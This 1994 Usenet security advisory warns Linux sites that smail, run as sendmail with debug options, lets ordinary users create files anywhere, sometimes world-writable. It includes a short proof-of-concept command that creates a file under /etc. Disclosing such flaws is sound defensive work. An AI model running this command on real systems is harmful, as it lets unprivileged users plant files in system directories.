Newsgroups: comp.os.linux.announce
From: martin2@sueton.ida.ing.tu-bs.de (Martin Bartosch)
Subject: Security hole in smail - be careful!
Message-ID: <ann-18955.781455444@cs.cornell.edu>
Date: Thu, 6 Oct 1994 14:57:37 GMT
Approved: linux-announce@tc.cornell.edu (Matt Welsh)

Hi,

last night I discovered a potential danger to all sites that run smail.
A quick check on some other sites (thanks to the folks on #linux)
revealed that most systems are affected by this.

Essentially, the smail bug will allow ordinary users to create files
anywhere they want to:


Assume /usr/lib/sendmail is a softlink to /usr/bin/smail.

$ /usr/lib/sendmail -d -D/etc/i_am_broken noone@universe
$ ls -l /etc/i_am*

Be aware of this. Some sites even come up with permissions rw-rw-rw-!
This behaviour is not affected by -smtp-debug.


				Just my $0.02.

					Martin.


--
Martin Bartosch       Institut fuer               martin2@ida.ing.tu-bs.de
38102 Braunschweig    Datenverarbeitungsanlagen   martin@koma.escape.de
+49 531 332214        TU Braunschweig             

--
Send submissions for comp.os.linux.announce to: linux-announce@tc.cornell.edu
Be sure to include Keywords: and a short description of your software.
